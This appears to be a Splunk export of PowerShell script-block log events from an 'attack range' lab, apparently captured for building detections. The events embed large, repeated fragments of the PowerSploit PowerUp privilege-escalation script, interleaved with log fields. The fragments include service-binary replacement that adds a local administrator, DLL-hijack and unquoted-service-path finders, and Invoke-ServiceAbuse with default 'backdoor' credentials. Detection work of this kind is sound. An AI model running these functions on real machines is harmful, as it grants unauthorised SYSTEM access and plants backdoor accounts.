$ServiceCommand = ""net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add""
}
}
}
PROCESS {
$TargetService = Get-Service -Name $Name -ErrorAction Stop
$ServiceDetails = $TargetService | Get-ServiceDetail
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal
if (-not $ModifiableFiles) {
throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user.""
}
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
$BackupPath = ""$($ServicePath).bak""
Write-Verbose ""Backing up '$ServicePath' to '$BackupPath'""
try {
Copy-Item -Path $ServicePath -Destination $BackupPath -Force
}
catch {
Write-Warning ""Error backing up '$ServicePath' : $_""
}
$Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath
$Result | Add-Member Noteproperty 'BackupPath' $BackupPath
$Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed')
$Result
}
}
function Restore-ServiceBinary {
<#
.SYNOPSIS
Restores a service binary backed up by Install-ServiceBinary.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Get-ModifiablePath
.DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
checks for the existence of an ""OriginalServiceBinary.exe.bak"" in the service
binary location. If it exists, the backup binary is restored to the original
binary path.
.PARAMETER Name
The service name to restore a binary for.
.PARAMETER BackupPath
Optional manual path to the backup binary.
.EXAMPLE
Restore-ServiceBinary -Name VulnSVC
Restore the original binary for the service 'VulnSVC'.
.EXAMPLE
Get-Service VulnSVC | Restore-ServiceBinary
Restore the original binary for the service 'VulnSVC'.
.EXAMPLE
Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'
Restore the original binary for the service 'VulnSVC' from a custom location.
.OUTPUTS
PowerUp.ServiceBinary.Installed
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ServiceBinary.Restored')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ServiceName')]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[Parameter(Position = 1)]
[ValidateScript({Test-Path -Path $_ })]
[String]
$BackupPath
)
PROCESS {
$TargetService = Get-Service -Name $Name -ErrorAction Stop
$ServiceDetails = $TargetService | Get-ServiceDetail
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal
if (-not $ModifiableFiles) {
throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user.""
}
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
$BackupPath = ""$($ServicePath).bak""
Copy-Item -Path $BackupPath -Destination $ServicePath -Force
Remove-Item -Path $BackupPath -Force
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name
$Out | Add-Member Noteproperty 'ServicePath' $ServicePath
$Out | Add-Member Noteproperty 'BackupPath' $BackupPath
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored')
$Out
}
}
########################################################
#
# DLL Hijacking
#
########################################################
function Find-ProcessDLLHijack {
<#
.SYNOPSIS
Finds all DLL hijack locations for currently running processes.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates all currently running processes with Get-Process (or accepts an
input process object from Get-Process) and enumerates the loaded modules for each.
All loaded module name exists outside of the process binary base path, as those
are DLL load-order hijack candidates.
.PARAMETER Name
The name of a process to enumerate for possible DLL path hijack opportunities.
.PARAMETER ExcludeWindows
Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*
.PARAMETER ExcludeProgramFiles
Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
.PARAMETER ExcludeOwned
Exclude processes the current user owns.
.EXAMPLE
Find-ProcessDLLHijack
Finds possible hijackable DLL locations for all processes.
.EXAMPLE
Get-Process VulnProcess | Find-ProcessDLLHijack
Finds possible hijackable DLL locations for the 'VulnProcess' processes.
.EXAMPLE
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
Finds possible hijackable DLL locations not in C:\Windows\* and
not in C:\Program Files\* or C:\Program Files (x86)\*
.EXAMPLE
Find-ProcessDLLHijack -ExcludeOwned
Finds possible hijackable DLL location for processes not owned by the
current user.
.OUTPUTS
PowerUp.HijackableDLL.Process
.LINK
https://www.mandiant.com/blog/malware-persistence-windows-registry/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.HijackableDLL.Process')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ProcessName')]
[String[]]
$Name = $(Get-Process | Select-Object -Expand Name),
[Switch]
$ExcludeWindows,
[Switch]
$ExcludeProgramFiles,
[Switch]
$ExcludeOwned
)
BEGIN {
# the known DLL cache to exclude from our findings
# http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
$Keys = (Get-Item ""HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs"")
$KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith("".dll"") }
$KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith("".dll"") }
$KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }}
$CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
# get the owners for all processes
$Owners = @{}
Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user }
}
PROCESS {
ForEach ($ProcessName in $Name) {
$TargetProcess = Get-Process -Name $ProcessName
if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) {
try {
$BasePath = $TargetProcess.Path | Split-Path -Parent
$LoadedModules = $TargetProcess.Modules
$ProcessOwner = $Owners[$TargetProcess.Id.ToString()]
ForEach ($Module in $LoadedModules){
$ModulePath = ""$BasePath\$($Module.ModuleName)""
# if the module path doesn't exist in the process base path folder
if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) {
$Exclude = $False
if ($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) {
$Exclude = $True
}
if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) {
$Exclude = $True
}
if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) {
$Exclude = $True
}
# output the process name and hijackable path if exclusion wasn't marked
if (-not $Exclude){
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName
$Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path
$Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner
$Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process')
$Out
}
}
}
}
catch {
Write-Verbose ""Error: $_""
}
}
}
}
}
function Find-PathDLLHijack {
<#
.SYNOPSIS
Finds all directories in the system %PATH% that are modifiable by the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1","2022-05-02T18:24:40.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122483,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122483,win,337,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0005-4E66-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"856at also have a space in the name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission
.DESCRIPTION
Uses Get-WmiObject to query all win32_service objects and extract out
the binary pathname for each. Then checks if any binary paths have a space
and aren't quoted.
.EXAMPLE
Get-UnquotedService
Get a set of potentially exploitable services.
.OUTPUTS
PowerUp.UnquotedService
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.UnquotedService')]
[CmdletBinding()]
Param()
# find all paths to service .exe's that have a space in the path and aren't quoted
$VulnServices = Get-WmiObject -Class win32_service | Where-Object {
$_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith(""`"""")) -and (-not $_.pathname.StartsWith(""'"")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*'
}
if ($VulnServices) {
ForEach ($Service in $VulnServices) {
$SplitPathArray = $Service.pathname.Split(' ')
$ConcatPathArray = @()
for ($i=0;$i -lt $SplitPathArray.Count; $i++) {
$ConcatPathArray += $SplitPathArray[0..$i] -join ' '
}
$ModifiableFiles = $ConcatPathArray | Get-ModifiablePath
$ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
$CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'ModifiablePath' $_
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' ""Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService')
$Out
}
}
}
}
function Get-ModifiableServiceFile {
<#
.SYNOPSIS
Enumerates all services and returns vulnerable service files.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath
.DESCRIPTION
Enumerates all services by querying the WMI win32_service class. For each service,
it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
if the current user has rights to modify the service binary itself or any associated
arguments. If the associated binary (or any configuration files) can be overwritten,
privileges may be able to be escalated.
.EXAMPLE
Get-ModifiableServiceFile
Get a set of potentially exploitable service binares/config files.
.OUTPUTS
PowerUp.ModifiablePath
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ModifiableServiceFile')]
[CmdletBinding()]
Param()
Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object {
$ServiceName = $_.name
$ServicePath = $_.pathname
$ServiceStartName = $_.startname
$ServicePath | Get-ModifiablePath | ForEach-Object {
$CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
$Out | Add-Member Noteproperty 'Path' $ServicePath
$Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
$Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
$Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
$Out | Add-Member Noteproperty 'AbuseFunction' ""Install-ServiceBinary -Name '$ServiceName'""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile')
$Out
}
}
}
function Get-ModifiableService {
<#
.SYNOPSIS
Enumerates all services and returns services for which the current user can modify the binPath.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail
.DESCRIPTION
Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
the current user has rights to change the service configuration.
.EXAMPLE
Get-ModifiableService
Get a set of potentially exploitable services.
.OUTPUTS
PowerUp.ModifiablePath
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ModifiableService')]
[CmdletBinding()]
Param()
Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {
$ServiceDetails = $_ | Get-ServiceDetail
$CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
$Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
$Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
$Out | Add-Member Noteproperty 'AbuseFunction' ""Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService')
$Out
}
}
function Get-ServiceDetail {
<#
.SYNOPSIS
Returns detailed information about a specified service by querying the
WMI win32_service class for the specified service name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
the pipeline object returned by Get-Service, extracts out the service name, queries the
WMI win32_service class for the specified service for details like binPath, and outputs
everything.
.PARAMETER Name
An array of one or more service names to query information for.
.EXAMPLE
Get-ServiceDetail -Name VulnSVC
Gets detailed information about the 'VulnSVC' service.
.EXAMPLE
Get-Service VulnSVC | Get-ServiceDetail
Gets detailed information about the 'VulnSVC' service.
.OUTPUTS
System.Management.ManagementObject
#>
[OutputType('PowerUp.ModifiableService')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ServiceName')]
[String[]]
[ValidateNotNullOrEmpty()]
$Name
)
PROCESS {
ForEach($IndividualService in $Name) {
$TargetService = Get-Service -Name $IndividualService -ErrorAction Stop
if ($TargetService) {
Get-WmiObject -Class win32_service -Filter ""Name='$($TargetService.Name)'"" | Where-Object {$_} | ForEach-Object {
try {
$_
}
catch {
Write-Verbose ""Error: $_""
}
}
}
}
}
}
########################################################
#
# Service abuse
#
########################################################
function Invoke-ServiceAbuse {
<#
.SYNOPSIS
Abuses a function the current user has configuration rights on in order
to add a local administrator or execute a custom command.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath
.DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
user has configuration modification rights on and executes a series of automated actions to
execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the
original service binary path and configuration state are preserved. Then the service is stopped
and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a
series of commands, the service is started, stopped, and the next command is configured. After
completion, the original service configuration is restored and a custom object is returned
that captures the service abused and commands run.
.PARAMETER Name
An array of one or more service names to abuse.
.PARAMETER UserName
The [domain\]username to add. If not given, it defaults to ""john"".
Domain users are not created, only added to the specified localgroup.
.PARAMETER Password
The password to set for the added user. If not given, it defaults to ""Password123!""
.PARAMETER LocalGroup
Local group name to add the user to (default of 'Administrators').
.PARAMETER Credential
A [Management.Automation.PSCredential] object specifying the user/password to add.
.PARAMETER Command
Custom command to execute instead of user creation.
.PARAMETER Force
Switch. Force service stopping, even if other services are dependent.
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC
Abuses service 'VulnSVC' to add a localuser ""john"" with password
""Password123! to the machine and local administrator group
.EXAMPLE
Get-Service VulnSVC | Invoke-ServiceAbuse
Abuses service 'VulnSVC' to add a localuser ""john"" with password
""Password123! to the machine and local administrator group
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -UserName ""TESTLAB\john""
Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the
local adminisrtators group.
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup ""Power Users""
Abuses service 'VulnSVC' to add a localuser ""backdoor"" with password
""password"" to the machine and local ""Power Users"" group
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -Command ""net ...""
Abuses service 'VulnSVC' to execute a custom command.
.OUTPUTS
PowerUp.AbusedService
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', ''a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,4104,122478,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,8,56,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,,"'5388'",,,,,,122478,,,,"a7b1e4fb-95d2-4636-adf0-00efffb56975","at also have a space in the name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission
.DESCRIPTION
Uses Get-WmiObject to query all win32_service objects and extract out
the binary pathname for each. Then checks if any binary paths have a space
and aren't quoted.
.EXAMPLE
Get-UnquotedService
Get a set of potentially exploitable services.
.OUTPUTS
PowerUp.UnquotedService
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.UnquotedService')]
[CmdletBinding()]
Param()
# find all paths to service .exe's that have a space in the path and aren't quoted
$VulnServices = Get-WmiObject -Class win32_service | Where-Object {
$_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith(""`"""")) -and (-not $_.pathname.StartsWith(""'"")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*'
}
if ($VulnServices) {
ForEach ($Service in $VulnServices) {
$SplitPathArray = $Service.pathname.Split(' ')
$ConcatPathArray = @()
for ($i=0;$i -lt $SplitPathArray.Count; $i++) {
$ConcatPathArray += $SplitPathArray[0..$i] -join ' '
}
$ModifiableFiles = $ConcatPathArray | Get-ModifiablePath
$ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
$CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'ModifiablePath' $_
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' ""Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService')
$Out
}
}
}
}
function Get-ModifiableServiceFile {
<#
.SYNOPSIS
Enumerates all services and returns vulnerable service files.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath
.DESCRIPTION
Enumerates all services by querying the WMI win32_service class. For each service,
it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
if the current user has rights to modify the service binary itself or any associated
arguments. If the associated binary (or any configuration files) can be overwritten,
privileges may be able to be escalated.
.EXAMPLE
Get-ModifiableServiceFile
Get a set of potentially exploitable service binares/config files.
.OUTPUTS
PowerUp.ModifiablePath
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ModifiableServiceFile')]
[CmdletBinding()]
Param()
Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object {
$ServiceName = $_.name
$ServicePath = $_.pathname
$ServiceStartName = $_.startname
$ServicePath | Get-ModifiablePath | ForEach-Object {
$CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
$Out | Add-Member Noteproperty 'Path' $ServicePath
$Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
$Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
$Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
$Out | Add-Member Noteproperty 'AbuseFunction' ""Install-ServiceBinary -Name '$ServiceName'""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile')
$Out
}
}
}
function Get-ModifiableService {
<#
.SYNOPSIS
Enumerates all services and returns services for which the current user can modify the binPath.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail
.DESCRIPTION
Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
the current user has rights to change the service configuration.
.EXAMPLE
Get-ModifiableService
Get a set of potentially exploitable services.
.OUTPUTS
PowerUp.ModifiablePath
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ModifiableService')]
[CmdletBinding()]
Param()
Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {
$ServiceDetails = $_ | Get-ServiceDetail
$CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
$Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
$Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
$Out | Add-Member Noteproperty 'AbuseFunction' ""Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService')
$Out
}
}
function Get-ServiceDetail {
<#
.SYNOPSIS
Returns detailed information about a specified service by querying the
WMI win32_service class for the specified service name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
the pipeline object returned by Get-Service, extracts out the service name, queries the
WMI win32_service class for the specified service for details like binPath, and outputs
everything.
.PARAMETER Name
An array of one or more service names to query information for.
.EXAMPLE
Get-ServiceDetail -Name VulnSVC
Gets detailed information about the 'VulnSVC' service.
.EXAMPLE
Get-Service VulnSVC | Get-ServiceDetail
Gets detailed information about the 'VulnSVC' service.
.OUTPUTS
System.Management.ManagementObject
#>
[OutputType('PowerUp.ModifiableService')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ServiceName')]
[String[]]
[ValidateNotNullOrEmpty()]
$Name
)
PROCESS {
ForEach($IndividualService in $Name) {
$TargetService = Get-Service -Name $IndividualService -ErrorAction Stop
if ($TargetService) {
Get-WmiObject -Class win32_service -Filter ""Name='$($TargetService.Name)'"" | Where-Object {$_} | ForEach-Object {
try {
$_
}
catch {
Write-Verbose ""Error: $_""
}
}
}
}
}
}
########################################################
#
# Service abuse
#
########################################################
function Invoke-ServiceAbuse {
<#
.SYNOPSIS
Abuses a function the current user has configuration rights on in order
to add a local administrator or execute a custom command.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath
.DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
user has configuration modification rights on and executes a series of automated actions to
execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the
original service binary path and configuration state are preserved. Then the service is stopped
and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a
series of commands, the service is started, stopped, and the next command is configured. After
completion, the original service configuration is restored and a custom object is returned
that captures the service abused and commands run.
.PARAMETER Name
An array of one or more service names to abuse.
.PARAMETER UserName
The [domain\]username to add. If not given, it defaults to ""john"".
Domain users are not created, only added to the specified localgroup.
.PARAMETER Password
The password to set for the added user. If not given, it defaults to ""Password123!""
.PARAMETER LocalGroup
Local group name to add the user to (default of 'Administrators').
.PARAMETER Credential
A [Management.Automation.PSCredential] object specifying the user/password to add.
.PARAMETER Command
Custom command to execute instead of user creation.
.PARAMETER Force
Switch. Force service stopping, even if other services are dependent.
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC
Abuses service 'VulnSVC' to add a localuser ""john"" with password
""Password123! to the machine and local administrator group
.EXAMPLE
Get-Service VulnSVC | Invoke-ServiceAbuse
Abuses service 'VulnSVC' to add a localuser ""john"" with password
""Password123! to the machine and local administrator group
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -UserName ""TESTLAB\john""
Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the
local adminisrtators group.
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup ""Power Users""
Abuses service 'VulnSVC' to add a localuser ""backdoor"" with password
""password"" to the machine and local ""Power Users"" group
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -Command ""net ...""
Abuses service 'VulnSVC' to execute a custom command.
.OUTPUTS
PowerUp.AbusedService
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', ''",,,,,,,,,,,"'2022-05-02T18:24:40.741331800Z'","4104132150x0122478Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122478Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local856at also have a space in the name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission
.DESCRIPTION
Uses Get-WmiObject to query all win32_service objects and extract out
the binary pathname for each. Then checks if any binary paths have a space
and aren't quoted.
.EXAMPLE
Get-UnquotedService
Get a set of potentially exploitable services.
.OUTPUTS
PowerUp.UnquotedService
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.UnquotedService')]
[CmdletBinding()]
Param()
# find all paths to service .exe's that have a space in the path and aren't quoted
$VulnServices = Get-WmiObject -Class win32_service | Where-Object {
$_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith(""`"""")) -and (-not $_.pathname.StartsWith(""'"")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*'
}
if ($VulnServices) {
ForEach ($Service in $VulnServices) {
$SplitPathArray = $Service.pathname.Split(' ')
$ConcatPathArray = @()
for ($i=0;$i -lt $SplitPathArray.Count; $i++) {
$ConcatPathArray += $SplitPathArray[0..$i] -join ' '
}
$ModifiableFiles = $ConcatPathArray | Get-ModifiablePath
$ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
$CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'ModifiablePath' $_
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' ""Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService')
$Out
}
}
}
}
function Get-ModifiableServiceFile {
<#
.SYNOPSIS
